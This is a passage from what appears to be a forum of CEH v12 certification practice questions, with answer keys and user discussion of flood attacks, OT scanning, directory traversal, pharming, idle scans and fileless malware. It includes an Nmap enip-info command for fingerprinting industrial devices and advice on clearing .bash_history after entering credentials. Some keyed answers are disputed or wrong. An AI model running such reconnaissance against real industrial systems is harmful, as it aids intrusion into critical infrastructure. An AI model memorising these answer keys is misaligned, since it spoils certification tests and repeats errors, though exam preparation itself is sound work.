In this type of flood attack, attackers create a fake session by completely skipping SYN packets and using only multiple ACK packets along with one or more RST or FIN packets. Because SYN packets are not employed and firewalls mostly use SYN packet filters to detect abnormal traffic, the DDoS detection rate of the firewalls is very low for these types of attacks.

CEH V12 Page 1449

upvoted 1 times

✉️  pashte2307 1 year ago

A: Spoofed session flood attack

upvoted 1 times

✉️  581777a 1 year, 1 month ago

Selected Answer: A

A. Spoofed session flood attack

upvoted 1 times

✉️  Vincent_Lu 1 year, 3 months ago

A. Spoofed session flood attack

upvoted 2 times

Jim, a professional hacker, targeted an organization that is operating critical industrial infrastructure. Jim used Nmap to scan open ports and running services on systems connected to the organization's OT network. He used an Nmap command to identify Ethernet/IP devices connected to the Internet and further gathered information such as the vendor name, product code and name, device name, and IP address. Which of the following Nmap commands helped Jim retrieve the required information?

- A. nmap -Pn -sT --scan-delay 1s --max-parallelism 1 -p < Port List > < Target IP >
- B. nmap -Pn -sU -p 44818 --script enip-info < Target IP >
- C. nmap -Pn -sT -p 46824 < Target IP >
- D. nmap -Pn -sT -p 102 --script s7-info < Target IP >

Correct Answer: B

Community vote distribution

B (100%)

✉  eli117  1 year, 5 months ago

Selected Answer: B

B. nmap -Pn -sU -p 44818 --script enip-info < Target IP >

Explanation:

The Ethernet/IP protocol is commonly used in industrial control systems (ICS) and critical infrastructure. Jim targeted an organization that is operating critical industrial infrastructure, and he used Nmap to scan open ports and running services on systems connected to the organization's OT network.

To identify Ethernet/IP devices connected to the Internet and gather information such as the vendor name, product code and name, device name, and IP address, Jim used the Nmap script "enip-info". This script is designed to scan for Ethernet/IP devices and gather information about them.

upvoted 8 times

✉  Vincent_Lu 1 year, 3 months ago

The port 44818 should be the TCP (explicit) and port 2222 is the UDP (implicit).

I'm curious why the answer is "B. nmap -Pn -sU -p 44818 --script enip-info < Target IP > ", but not "B. nmap -Pn -sT -p 44818 --script enip-info < Target IP > "?

upvoted 5 times

✉  Beter0 11 months ago

This is probably because the option "-sU" specifies just an UDP scan for open port, but the option "--script enip-info" specifies to also scan for TCP port 44818.

See the nmap documentation:

<https://nmap.org/nsedoc/scripts/enip-info.html>

This NSE script is used to send a EtherNet/IP packet to a remote device that has TCP 44818 open. The script will send a Request Identity Packet and once a response is received, it validates that it was a proper response to the command that was sent, and then will parse out the data. Information that is parsed includes Device Type, Vendor ID, Product name, Serial Number, Product code, Revision Number, status, state as well as the Device IP.

upvoted 2 times

✉  y2mk1ng  8 months ago

He wants to identify Ethernet/IP devices, therefore he can use --script enip-info. And this script uses TCP 44818.

upvoted 1 times

✉  insaniunt 9 months, 3 weeks ago

Selected Answer: B

B. nmap -Pn -sU -p 44818 --script enip-info < Target IP >

Module 18 Page 2980

upvoted 1 times

✉  IPconfig 11 months ago

Selected Answer: B

Scanning Ethernet/IP Devices (OT)

nmap -Pn -sU -p 44818 --script enip-info <Target IP>

Ethernet/IP is a popular protocol implemented by many industrial networks. Ethernet/IP uses Ethernet as a transport layer protocol, and CIP is used to provide services for industrial applications. This protocol operates on UDP port number 44818. Using the above command, attackers can gather information such as the name of the vendor, product code and name, device name, IP address, etc.

CEH V12 page 2981

upvoted 1 times

✉  eronmelo 1 year ago

```
B. nmap -Pn -sU -p 44818 --script enip-info < Target IP >
nmap --script enip-info -sU -p 44818 <host>
PORT STATE SERVICE REASON
44818/tcp open EtherNet-IP-2 syn-ack
| enip-info:
| type: Communications Adapter (12)
| vendor: Rockwell Automation/Allen-Bradley (1)
| productName: 1769-L32E Ethernet Port
| serialNumber: 0x0000000
| productCode: 158
| revision: 3.7
| status: 0x0030
| state: 0x03
|_ ipAddress: 192.168.1.123
```

<https://nmap.org/nsedoc/scripts/enip-info.html#:~:text=This%20NSE%20script,the%20Device%20IP.>

upvoted 1 times

✉  581777a 1 year, 1 month ago

Selected Answer: B

```
B. nmap -Pn -sU -p 44818 --script enip-info < Target IP >
```

upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: B

EtherNet/IP makes use of TCP port number 44818 for explicit messaging and UDP port number 2222 for implicit messaging

<https://en.wikipedia.org/wiki/EtherNet/IP>

upvoted 4 times

✉  Vincent_Lu 1 year, 3 months ago

The port 44818 should be the TCP (explicit) and port 2222 is the UDP (implicit).

I'm curious why the answer is "B. nmap -Pn -sU -p 44818 --script enip-info < Target IP >``, but not "B. nmap -Pn -sT -p 44818 --script enip-info < Target IP >``?

upvoted 2 times

While testing a web application in development, you notice that the web server does not properly ignore the “dot dot slash” (..) character string and instead returns the file listing of a folder higher up in the folder structure of the server.

What kind of attack is possible in this scenario?

- A. Cross-site scripting
- B. SQL injection
- C. Denial of service
- D. Directory traversal

Correct Answer: D

Community vote distribution

D (100%)

✉️  **insaniunt** 9 months, 3 weeks ago

Selected Answer: D

In directory traversal attacks, attackers use the dot-dot-slash (..) sequence to access restricted directories outside the web server's root directory. Attackers can use the trial-and-error method to navigate outside the root directory and access sensitive information in the system.

upvoted 2 times

✉️  **sudowhoami** 11 months, 2 weeks ago

Selected Answer: D

Exam Hint

.. = Directory Traversal

upvoted 2 times

✉️  **581777a** 1 year, 1 month ago

Selected Answer: D

D. Directory traversal

upvoted 1 times

✉️  **Danieluuqo** 1 year, 5 months ago

Selected Answer: D

The answer is D

upvoted 2 times

✉️  **eli117** 1 year, 5 months ago

Selected Answer: D

D. Directory traversal

In a directory traversal attack, an attacker can access files and directories that are stored outside of the web root directory. The attacker can exploit this vulnerability to access sensitive information such as configuration files, password files, and other sensitive data.

upvoted 3 times

Richard, an attacker, aimed to hack IoT devices connected to a target network. In this process, Richard recorded the frequency required to share information between connected devices. After obtaining the frequency, he captured the original data when commands were initiated by the connected devices. Once the original data were collected, he used free tools such as URH to segregate the command sequence. Subsequently, he started injecting the segregated command sequence on the same frequency into the IoT network, which repeats the captured signals of the devices.

What is the type of attack performed by Richard in the above scenario?

- A. Cryptanalysis attack
- B. Reconnaissance attack
- C. Side-channel attack
- D. Replay attack

Correct Answer: D

Community vote distribution

D (100%)

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: D

D. Replay attack

Explanation:

In the given scenario, Richard aims to hack IoT devices connected to a target network using a replay attack. He records the frequency required to share information between connected devices and captures the original data when commands are initiated by the connected devices. Once the original data are collected, he uses free tools such as URH to segregate the command sequence. Subsequently, he starts injecting the segregated command sequence on the same frequency into the IoT network, which repeats the captured signals of the devices.

In a replay attack, an attacker records legitimate data transmissions and later retransmits them, hoping to impersonate the original sender or gain unauthorized access. The attacker captures the data packets or messages transmitted between two entities and replays them back to the same or another entity, leading to unauthorized access, impersonation, or denial of service.

upvoted 6 times

✉️  insanium Most Recent 9 months, 3 weeks ago

Selected Answer: D

D. Replay attack

Module 11 Page 1542

upvoted 1 times

✉️  581777a 1 year, 1 month ago

Selected Answer: D

D. Replay attack

upvoted 1 times

Which of the following allows attackers to draw a map or outline the target organization's network infrastructure to know about the actual environment that they are going to hack?

- A. Vulnerability analysis
- B. Malware analysis
- C. Scanning networks
- D. Enumeration

Correct Answer: C

Community vote distribution

C (68%)

D (32%)

✉  eli117  1 year, 5 months ago

Selected Answer: C

C. Scanning networks

Scanning networks allows attackers to draw a map or outline the target organization's network infrastructure to know about the actual environment that they are going to hack. Scanning can help the attacker identify the IP addresses, operating systems, open ports, and running services of the systems connected to the target network. This information can then be used to identify vulnerabilities and plan further attacks.

upvoted 9 times

✉  g_man_rap  5 months ago

C. Scanning networks: Network scanning is the process of actively probing a network or systems using tools to discover devices and their details. This would include IP addresses, open ports, services running, and other characteristics. This process is essential for attackers to draw a map or outline of a network infrastructure.

D. Enumeration: Enumeration is a process that goes a step further than scanning. It involves extracting user names, machine names, network resources, shares, and services from a system. While enumeration can provide detailed information and could be part of the process to understand the target environment, it is typically done after scanning networks.

upvoted 3 times

✉  qtygbapjpesdayazko 6 months, 2 weeks ago

Selected Answer: C

C. Scanning networks

upvoted 1 times

✉  I_Know_Everything_KY 7 months, 2 weeks ago

Selected Answer: D

Answer is D: Enumeration.

CEH 50V12 Book: Enumeration P357

Pre-Assessment Phase -

- Identify Assets and Create a Baseline

5. Understand the network architecture and map the network infrastructure

"Scanning networks" makes no mention of mapping.

upvoted 1 times

✉  I_Know_Everything_KY 7 months, 2 weeks ago

Answer is D: Enumeration.

CEH 50V12 Book: Enumeration P357

Pre-Assessment Phase -

- Identify Assets and Create a Baseline

5. Understand the network architecture and map the network infrastructure

"Scanning networks" makes no mention of mapping.

upvoted 1 times

✉  insaniumt 9 months, 2 weeks ago

Selected Answer: C

C. Scanning networks

Network scanning is a procedure for identifying active devices on a network by employing a feature or features in the network protocol to signal devices and await a response

upvoted 1 times

✉  IPconfig 11 months ago

Selected Answer: C

C. Scanning networks
upvoted 1 times

✉  iitc_duo 1 year ago
D. Enumeration

Enumeration is the process of extracting information about a target network or system. It allows attackers to gather details about the network infrastructure, such as the IP addresses of active hosts, open ports, services running on those ports, and sometimes even user accounts. This information can help attackers create a map or outline of the target organization's network infrastructure, enabling them to better understand the environment they plan to attack. Enumeration is a reconnaissance technique used by attackers as a preparatory step in hacking.

upvoted 3 times

✉  581777a 1 year, 1 month ago

Selected Answer: D

D. Enumeration

Enumeration involves gathering information about a target network, such as identifying active hosts, open ports, and network services. Attackers use enumeration to create a map or outline of the target organization's network infrastructure, which helps them understand the environment they are planning to exploit. This information is valuable for planning and executing further attacks on the network.

upvoted 3 times

✉  ZacharyDriver 1 year, 2 months ago

Selected Answer: C

C. Scanning Networks
upvoted 1 times

✉  naija4life 1 year, 3 months ago

Selected Answer: D

D. Enumeration

Enumeration in cyber security is extracting a system's valid usernames, machine names, share names, directory names, and other information.

upvoted 2 times

✉  Vincent_Lu 1 year, 3 months ago

C. Scanning networks
upvoted 1 times

Your company was hired by a small healthcare provider to perform a technical assessment on the network. What is the best approach for discovering vulnerabilities on a Windows-based computer?

- A. Use the built-in Windows Update tool
- B. Use a scan tool like Nessus
- C. Check MITRE.org for the latest list of CVE findings
- D. Create a disk image of a clean Windows installation

Correct Answer: **B**

Community vote distribution

B (100%)

✉  581777a Highly Voted  1 year, 1 month ago

Selected Answer: B

- B. Use a scan tool like Nessus

Nessus is a widely used vulnerability scanning tool that can help identify vulnerabilities, misconfigurations, and potential security issues in a system. It scans the target system for known vulnerabilities and provides detailed reports on its findings, allowing you to take appropriate actions to address the identified security issues.

While the other options (A, C, and D) are also important considerations in the context of cybersecurity and system assessment, using a specialized vulnerability scanning tool like Nessus is specifically designed to efficiently discover and assess vulnerabilities in a system.

upvoted 5 times

✉  Vincent_Lu Most Recent  1 year, 3 months ago

- B. Use a scan tool like Nessus

upvoted 2 times

✉  eli117 1 year, 5 months ago

Selected Answer: B

- B. Use a scan tool like Nessus.

Using a scan tool like Nessus is a good approach for discovering vulnerabilities on a Windows-based computer. Nessus can scan and analyze a system for vulnerabilities, configuration errors, and other security issues. It can also provide reports on the security posture of the system and suggest remediation steps. Other methods like using Windows Update or checking CVE findings can be useful, but they may not be as comprehensive as using a dedicated vulnerability scanner. Creating a disk image of a clean Windows installation is also useful, but it is more relevant for forensic analysis rather than vulnerability assessment.

upvoted 3 times

Susan, a software developer, wants her web API to update other applications with the latest information. For this purpose, she uses a user-defined HTTP callback or push APIs that are raised based on trigger events; when invoked, this feature supplies data to other applications so that users can instantly receive real-time information.

Which of the following techniques is employed by Susan?

- A. Web shells
- B. Webhooks
- C. REST API
- D. SOAP API

Correct Answer: **B**

Community vote distribution

B (100%)

✉️  **Vincent_Lu** Highly Voted 1 year, 3 months ago

B. Webhooks

- A. Web shells: Web-based remote access tools.
B. Webhooks: Allows real-time updates using HTTP callback.
C. REST API: Uses HTTP methods to access and manipulate resources.
D. SOAP API: Uses XML messaging format for remote procedure calls.

upvoted 7 times

✉️  **insaniunt** Most Recent 9 months, 2 weeks ago

Selected Answer: B

B. Webhooks

upvoted 1 times

✉️  **581777a** 1 year, 1 month ago

Selected Answer: B

B. Webhooks

Webhooks are user-defined HTTP callbacks or push APIs that allow applications to communicate with each other in real-time. They are triggered by specific events and send data to other applications automatically when those events occur. In this scenario, Susan is using webhooks to update other applications with the latest information and provide real-time data to users.

upvoted 1 times

✉️  **jeremy13** 1 year, 4 months ago

Selected Answer: B

B. Webhooks

upvoted 1 times

✉️  **eli117** 1 year, 5 months ago

Selected Answer: B

B. Webhooks

Explanation:

Susan is using Webhooks to update other applications with the latest information from her web API. Webhooks are user-defined HTTP callbacks that are raised based on trigger events. When the trigger event occurs, the Webhook feature supplies data to other applications so that users can instantly receive real-time information.

Webhooks are useful for a variety of purposes, such as automating workflows, updating data, and triggering notifications. They are widely used in modern web applications, especially in the context of real-time data sharing.

upvoted 1 times

Which iOS jailbreaking technique patches the kernel during the device boot so that it becomes jailbroken after each successive reboot?

- A. Tethered jailbreaking
- B. Semi-untethered jailbreaking
- C. Semi-tethered jailbreaking
- D. Untethered jailbreaking

Correct Answer: D

Community vote distribution

D (100%)

✉️  RITYdff545454545f 5 months, 2 weeks ago

B IS CORRECT

upvoted 1 times

✉️  insanaint 9 months, 2 weeks ago

Selected Answer: D

D. Untethered jailbreaking

upvoted 1 times

✉️  581777a 1 year, 1 month ago

Selected Answer: D

D. Untethered jailbreaking

upvoted 1 times

✉️  Vincent_Lu 1 year, 3 months ago

D. Untethered jailbreaking

upvoted 1 times

✉️  Rocko1 1 year, 3 months ago

In a tethered jailbreak, the device must be connected to a computer each time it is restarted. The jailbreak exploit needs to be applied again using special software or tools to gain access to the device's filesystem and allow the installation of unauthorized apps and modifications. Without this reapplication, the device will boot into a non-jailbroken state.

On the other hand, an untethered jailbreak is more convenient as it does not require a computer connection every time the device restarts. Once the untethered jailbreak is successfully performed, the modifications made to the device remain persistent even after a reboot. The device can be turned on and off without losing the jailbreak status, allowing the use of unauthorized apps and tweaks without any additional steps.

upvoted 4 times

✉️  eli117 1 year, 5 months ago

Selected Answer: D

D. Untethered jailbreaking

Explanation:

Untethered jailbreaking is a type of jailbreaking technique that allows an iOS device to maintain the jailbreak state even after rebooting. This is achieved by patching the kernel during the device boot process so that it always loads a jailbroken version of the operating system. Unlike tethered or semi-tethered jailbreaking, the user does not need to connect the device to a computer each time it is rebooted to maintain the jailbreak state.

upvoted 2 times

Stella, a professional hacker, performs an attack on web services by exploiting a vulnerability that provides additional routing information in the SOAP header to support asynchronous communication. This further allows the transmission of web-service requests and response messages using different TCP connections.

Which of the following attack techniques is used by Stella to compromise the web services?

- A. Web services parsing attacks
- B. WS-Address spoofing
- C. SOAPAction spoofing
- D. XML injection

Correct Answer: B

Community vote distribution

B (100%)

✉  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: B

B. WS-Address spoofing

Explanation:

WS-Address spoofing is an attack technique used to exploit a vulnerability that provides additional routing information in the SOAP header to support asynchronous communication. This vulnerability allows the transmission of web-service requests and response messages using different TCP connections. An attacker can exploit this vulnerability by modifying the WS-Addressing header to redirect the web-service request to a different endpoint or server.

In a WS-Address spoofing attack, the attacker crafts a malicious SOAP message that includes a modified WS-Addressing header. This header contains a spoofed address that points to a malicious endpoint or server controlled by the attacker. When the SOAP message is processed by the web service, it sends the response to the spoofed address specified in the header, allowing the attacker to intercept and modify the response.

upvoted 5 times

✉  jeremy13 Highly Voted 1 year, 4 months ago

Selected Answer: B

B. WS-Address spoofing

CEH Book V12 Module 14 P2076

"WS-address provides additional routing information in the SOAP header to support asynchronous communication"

upvoted 5 times

✉  insaniunt Most Recent 9 months, 2 weeks ago

Selected Answer: B

About that: Module 14 Page 2076 from CEH v12 book

upvoted 1 times

✉  IPconfig 11 months ago

Selected Answer: B

WS-address provides additional routing information in the SOAP header to support asynchronous communication

In a WS-address spoofing attack, an attacker sends a SOAP message containing fake WS-address information to the server. The <ReplyTo> header consists of the address of the endpoint selected by the attacker rather than the address of the web service client

CEH V12 pg 2076

upvoted 1 times

✉  581777a 1 year, 1 month ago

Selected Answer: B

B. WS-Address spoofing

upvoted 1 times

Attacker Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve performed DNS cache poisoning by exploiting the vulnerabilities in the DNS server software and modified the original IP address of the target website to that of a fake website.

What is the technique employed by Steve to gather information for identity theft?

- A. Pharming
- B. Skimming
- C. Pretexting
- D. Wardriving

Correct Answer: A

Community vote distribution

A (100%)

✉️  Vincent_Lu Highly Voted 1 year, 3 months ago

A. Pharming

- A. Pharming: DNS or computer manipulation to redirect to fraudulent websites.
- B. Skimming: Illegally capturing sensitive information, such as credit card details.
- C. Pretexting: Deceiving individuals by creating fictional scenarios to extract information.
- D. Wardriving: Searching for Wi-Fi networks for potential exploitation.

upvoted 7 times

✉️  insaniant Most Recent 9 months, 2 weeks ago

Selected Answer: A

A - The attacker redirects web traffic to a fraudulent website by installing a malicious program on a personal computer or server (from ceh v12 book - page 1353)

upvoted 1 times

✉️  581777a 1 year, 1 month ago

Selected Answer: A

A. Pharming

upvoted 1 times

✉️  jeremy13 1 year, 4 months ago

Selected Answer: A

A. Pharming

CEH Book V12 Module 09 P1357

"Pharming is a social engineering technique in which the attacker executes malicious programs on a victim's computer or server, and when the victim enters any URL or domain name, it automatically redirects the victim's traffic to an attacker-controlled website. This attack is also known as "Phishing without a Lure." The attacker steals confidential information like credentials, banking details, and other information related to web-based services."

Pharming attack can be performed in two ways: DNS Cache Poisoning and Host File Modification"

upvoted 3 times

✉️  eli117 1 year, 5 months ago

Selected Answer: A

A. Pharming

Explanation:

Pharming is a type of cyber attack where an attacker redirects the traffic of a legitimate website to a fake website, which is designed to look identical to the original website. The attackers achieve this by exploiting vulnerabilities in the DNS server software or by modifying the local hosts file on the victim's computer. The aim of this attack is to gather sensitive information, such as login credentials, credit card details, or other personal information, from the victim.

In the given scenario, Steve performed DNS cache poisoning to redirect the web traffic of the target organization's website to a malicious website. By doing this, he can trick the users into entering their sensitive information into the fake website, which can be later used for identity theft.

upvoted 2 times

What is the port to block first in case you are suspicious that an IoT device has been compromised?

- A. 22
- B. 48101
- C. 80
- D. 443

Correct Answer: **B**

Community vote distribution

B (100%)

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: B

B. 48101

Explanation:

Port 48101 is the default port used by Mirai, one of the most well-known IoT botnets. Mirai searches for IoT devices that have weak or default credentials, and once it gains access, it uses port 48101 to communicate with its command and control (C&C) server. By blocking port 48101, the infected device will not be able to communicate with the C&C server, and this can prevent the attacker from controlling the device or launching DDoS attacks.

upvoted 5 times

✉️  I_Know_Everything_KY Most Recent 7 months, 2 weeks ago

Selected Answer: B

48101 is the Mirai C&C port.

upvoted 1 times

✉️  insanaint 9 months, 2 weeks ago

Selected Answer: B

B. 48101

upvoted 1 times

✉️  581777a 1 year, 1 month ago

Selected Answer: B

B. 48101

upvoted 1 times

✉️  Vincent_Lu 1 year, 3 months ago

B. 48101

upvoted 1 times

✉️  jeremy13 1 year, 4 months ago

Selected Answer: B

B. 48101

CEH Book V12 Module 18 P 2896

How to Defend Against IoT Hacking :

Monitor traffic on port 48101, as infected devices attempt to spread the malicious file using port 48101.

upvoted 3 times

Clark is a professional hacker. He created and configured multiple domains pointing to the same host to switch quickly between the domains and avoid detection.

Identify the behavior of the adversary in the above scenario.

- A. Unspecified proxy activities
- B. Use of command-line interface
- C. Data staging
- D. Use of DNS tunneling

Correct Answer: B

Community vote distribution

A (83%)

Other

✉️  jeremy13 Highly Voted 1 year, 5 months ago

Selected Answer: A

- A. Unspecified proxy activities
CEH book V12 Module 1 P26

Unspecified Proxy Activities : An adversary can create and configure multiple domains pointing to the same host, thus, allowing an adversary to switch quickly between the domains to avoid detection. Security professionals can find unspecified domains by checking the data feeds that are generated by those domains. Using this data feed, the security professionals can also find any malicious files downloaded and the unsolicited communication with the outside network based on the domains.

upvoted 16 times

✉️  sunce12 Most Recent 3 months, 1 week ago

- A. Unspecified proxy activities
upvoted 1 times

✉️  LordXander 6 months, 1 week ago

Selected Answer: B

So...it's B, 90% sure because there's a very similar question for the CTIA certification and it specifies that for Fast-Flux DNS the way you identify it is by making use of command-line interface.

Very well structured question, but now I can see that there's a lot of domain-crossing between certifications.

upvoted 1 times

✉️  LordXander 5 months, 3 weeks ago

So...I misunderstood the question; the way you identify it is indeed Use of CLI. However, if we have to mention what the attacker is doing, then it would be A
upvoted 1 times

✉️  D15 8 months, 3 weeks ago

Selected Answer: A

- A. Unspecified proxy activities
upvoted 1 times

✉️  insaniumt 9 months ago

Selected Answer: A

- A. Unspecified proxy activities
upvoted 1 times

✉️  insaniumt 9 months, 2 weeks ago

Selected Answer: A

- A. Unspecified proxy activities
upvoted 1 times

✉️  VidiMidi 10 months, 3 weeks ago

Unspecified proxy activities !
upvoted 1 times

✉️  IPconfig 11 months ago

Selected Answer: A

Unspecified Proxy Activities An adversary can create and configure multiple domains pointing to the same host, thus, allowing an adversary to switch quickly between the domains to avoid detection. Security professionals can find unspecified domains by checking the data feeds that are

generated by those domains. Using this data feed, the security professionals can also find any malicious files downloaded and the unsolicited communication with the outside network based on the domains.

CEH V12 pg 26

upvoted 2 times

✉  naija4life 1 year, 3 months ago

Selected Answer: D
D. Use of DNS tunneling
upvoted 3 times

✉  victorfs 1 year, 4 months ago

Selected Answer: A
The correct option is A.
. Unspecified proxy activities
upvoted 3 times

✉  sTaTiK 1 year, 5 months ago

Selected Answer: A
The Anser is A, you can check ansers on V11.
upvoted 3 times

✉  sausageman 1 year, 5 months ago

Selected Answer: A
A. Unspecified proxy activities
In my book is module 1 page 18
upvoted 2 times

✉  eli117 1 year, 5 months ago

Selected Answer: D
D. Use of DNS tunneling

Explanation:

DNS tunneling is a technique used by adversaries to bypass security controls and exfiltrate data from a compromised network. It involves creating DNS queries and responses that encapsulate other types of traffic, such as command and control communications or stolen data.

upvoted 2 times

What firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?

- A. Packet fragmentation scanning
- B. Spoof source address scanning
- C. Decoy scanning
- D. Idle scanning

Correct Answer: D

Community vote distribution

D (94%) 6%

✉️  jeremy13  1 year, 5 months ago

Selected Answer: D

D. Idle scanning
Like 312-50v11 Q228

upvoted 6 times

✉️  insanint  9 months, 2 weeks ago

Selected Answer: D

D. Idle scanning
upvoted 1 times

✉️  IPconfig 11 months ago

Selected Answer: D

The attacker performs this scan by impersonating another computer via spoofing. The attacker does not send a packet from their IP address; instead, they use another host, often called a "zombie," to scan the remote host and identify open ports. In this attack, the attacker expects the sequence numbers of the zombie host, and if the remote host checks the IP of the scanning party, the IP of the zombie machine is displayed.

CEH V12 pg 315-316
upvoted 3 times

✉️  581777a 1 year, 1 month ago

Selected Answer: D

D. Idle scanning
upvoted 1 times

✉️  Vincent_Lu 1 year, 3 months ago

D. Idle scanning
https://en.wikipedia.org/wiki/Idle_scan#Finding_a_zombie_host
The first step in executing an idle scan is to find an appropriate zombie. It needs to assign IP ID packets incrementally...
upvoted 1 times

✉️  victorfs 1 year, 4 months ago

Selected Answer: D

The correct option is D.

Idle scanning (also known as zombie scanning) is a firewall evasion technique that uses a zombie system with low network activity to scan a target system
upvoted 2 times

✉️  Muli_70 1 year, 4 months ago

The correct answer is A. Packet fragmentation scanning is a technique used to evade firewalls by fragmenting packets to bypass firewall rules. In this technique, the attacker sends a large packet that is broken down into smaller fragments. The fragments are sent to the target system and are reassembled by the system's TCP/IP stack. The firewall may only inspect the first fragment, allowing the subsequent fragments to bypass the firewall rules. The attacker may use a zombie system with low network activity to generate fragmented packets with random fragment identification numbers to evade detection.

In contrast, the technique mentioned in the question uses the fragmentation identification numbers of a zombie system to evade firewall scanning. Therefore, the correct answer is A, packet fragmentation scanning.

upvoted 1 times

✉️  sausageman 1 year, 5 months ago

Selected Answer: D

D. Idle scanning

upvoted 2 times

✉ eli117 1 year, 5 months ago

Selected Answer: A

A. Packet fragmentation scanning

Packet fragmentation scanning involves breaking up packets into smaller fragments to evade firewall or intrusion detection system (IDS) rules that are configured to block or detect packets of a certain size or pattern. By using a zombie system with low network activity, the attacker can minimize the chances of detection and increase the chances of successful evasion. The attacker can also manipulate the fragment identification numbers to avoid detection.

upvoted 1 times

Question #71

Topic 1

By performing a penetration test, you gained access under a user account. During the test, you established a connection with your own machine via the SMB service and occasionally entered your login and password in plaintext.

Which file do you have to clean to clear the password?

- A. .xsession-log
- B. .profile
- C. .bashrc
- D. .bash_history

Correct Answer: D

Community vote distribution

D (100%)

✉ eli117 Highly Voted 1 year, 5 months ago

Selected Answer: D

D. .bash_history

Explanation:

The .bash_history file is a log of commands executed in the Bash shell. If a user enters their login and password in plaintext, it will be stored in the .bash_history file. This file can be cleared to remove any plaintext passwords that may have been stored.

The .xsession-log file records X session messages, and the .profile and .bashrc files are scripts that are run at login to set environment variables and configure the shell. These files do not typically contain plaintext passwords.

upvoted 6 times

✉ insaniunt Most Recent 9 months, 2 weeks ago

Selected Answer: D

D. .bash_history

upvoted 1 times

✉ 581777a 1 year, 1 month ago

Selected Answer: D

D. .bash_history

upvoted 1 times

✉ Vincent_Lu 1 year, 3 months ago

D..bash_history

upvoted 1 times

✉ jeremy13 1 year, 4 months ago

Selected Answer: D

D. .bash_history

upvoted 2 times

Jack, a disgruntled ex-employee of Incalsol Ltd., decided to inject fileless malware into Incalsol's systems. To deliver the malware, he used the current employees' email IDs to send fraudulent emails embedded with malicious links that seem to be legitimate. When a victim employee clicks on the link, they are directed to a fraudulent website that automatically loads Flash and triggers the exploit.

What is the technique used by Jack to launch the fileless malware on the target systems?

- A. In-memory exploits
- B. Legitimate applications
- C. Script-based injection
- D. Phishing

Correct Answer: D

Community vote distribution

D (91%) 9%

✉  **insaniunt** 9 months, 1 week ago

Selected Answer: D

D. Phishing

upvoted 1 times

✉  **581777a** 1 year, 1 month ago

Selected Answer: D

D. Phishing

upvoted 1 times

✉  **Vincent_Lu** 1 year, 3 months ago

D. Phishing

upvoted 1 times

✉  **jeremy13** 1 year, 4 months ago

Selected Answer: D

D. Phishing

upvoted 1 times

✉  **victorfs** 1 year, 4 months ago

Selected Answer: D

The correct option is D.

Phising

upvoted 1 times

✉  **sausageman** 1 year, 5 months ago

Selected Answer: D

My bad it's D phishing:

Module 07 Page 727

"Attackers commonly use social engineering techniques such as phishing to spread fileless malware to the target systems. They send spam emails embedded with malicious links to the victim. When the victim clicks on the link, he/she will be directed to a fraudulent website that automatically loads Flash and triggers the exploit."

upvoted 2 times

✉  **sausageman** 1 year, 5 months ago

Selected Answer: A

A. In-memory exploits

Book v12 Module 07 Page 725

upvoted 1 times

✉  **sausageman** 1 year, 5 months ago

My bad it's D phishing:

Module 07 Page 727

"Attackers commonly use social engineering techniques such as phishing to spread fileless malware to the target systems. They send spam emails embedded with malicious links to the victim. When the victim clicks on the link, he/she will be directed to a fraudulent website that automatically loads Flash and triggers the exploit."

upvoted 3 times

✉  **eli117** 1 year, 5 months ago

Selected Answer: D

D. Phishing

Explanation:

Jack used phishing to deliver the fileless malware to Incalsol's systems. Phishing is a social engineering attack where an attacker sends fraudulent emails, text messages, or instant messages that seem to be from a legitimate source to trick the victim into divulging sensitive information, clicking on a link, or downloading an attachment. In this case, Jack used the current employees' email IDs to send fraudulent emails embedded with malicious links that seem to be legitimate

upvoted 4 times

Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he uses a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API.

Which of the following tools is used by Wilson in the above scenario?

- A. Factiva
- B. ZoomInfo
- C. Netcraft
- D. Infoga

Correct Answer: D

Community vote distribution

D (100%)

✉️  **insaniunt** 9 months, 1 week ago

Selected Answer: D

D. Infoga

"Email tracking tools allow an attacker to collect information such as IP addresses, mail servers, and service providers involved in sending the email. Attackers can use this information to build a hacking strategy and to perform social engineering and other attacks. Examples of email tracking tools include eMailTrackerPro, ***Infoga***, and Mailtrack."

Module 02 Page 208 From CEH book v12

upvoted 1 times

✉️  **[Removed]** 9 months, 2 weeks ago

Selected Answer: D

D. Infoga. Infoga does not come packaged with Kali Linux but is a powerful OSINT tool that can be downloaded and installed from <https://github.com/m4ll0k/Infoga.git>. This was an exam question for me when I took the exam on 13 Dec 2023.

upvoted 1 times

✉️  **581777a** 1 year, 1 month ago

Selected Answer: D

D. Infoga

upvoted 1 times

✉️  **Vincent_Lu** 1 year, 3 months ago

D. Infoga

upvoted 2 times

✉️  **Vincent_Lu** 1 year, 3 months ago

A. Factiva: Factiva is a business information and research

platform that provides access to a wide range of global news sources, industry publications, and company data.

B. ZoomInfo: ZoomInfo is a platform that offers access to a vast database of company and contact information. It provides detailed profiles of businesses, including company overviews, employee details, and contact information.

C. Netcraft: Netcraft is a company that specializes in internet security services and research. They provide various tools and services to help organizations protect their online assets from threats such as phishing attacks, malware, and network vulnerabilities.

D. Infoga: Infoga is an open-source information gathering tool used for gathering email accounts, usernames, and other personal information from various online sources. It can be used for reconnaissance and intelligence gathering in ethical hacking and cybersecurity assessments.

upvoted 6 times

✉️  **victorfs** 1 year, 4 months ago

Selected Answer: D

The correct option is D.

Infoga

upvoted 1 times

✉️  **eli117** 1 year, 5 months ago

Selected Answer: D

D. Infoga

Explanation:

Wilson is using Infoga to extract information such as sender identities, mail servers, sender IP addresses, and sender locations from different public

sources. Infoga is an open-source tool that can be used for email reconnaissance, and it is used to collect email addresses and related data such as contacts, domain names, and IP addresses.

Infoga uses various search engines and other public sources to gather information, including Google, Bing, Yahoo, PGP servers, and Have I Been Pwned. By collecting data from these sources, Infoga can help attackers find email addresses and other information about a target, which can be used in phishing attacks and other types of social engineering.

upvoted 4 times

David is a security professional working in an organization, and he is implementing a vulnerability management program in the organization to evaluate and control the risks and vulnerabilities in its IT infrastructure. He is currently executing the process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities.

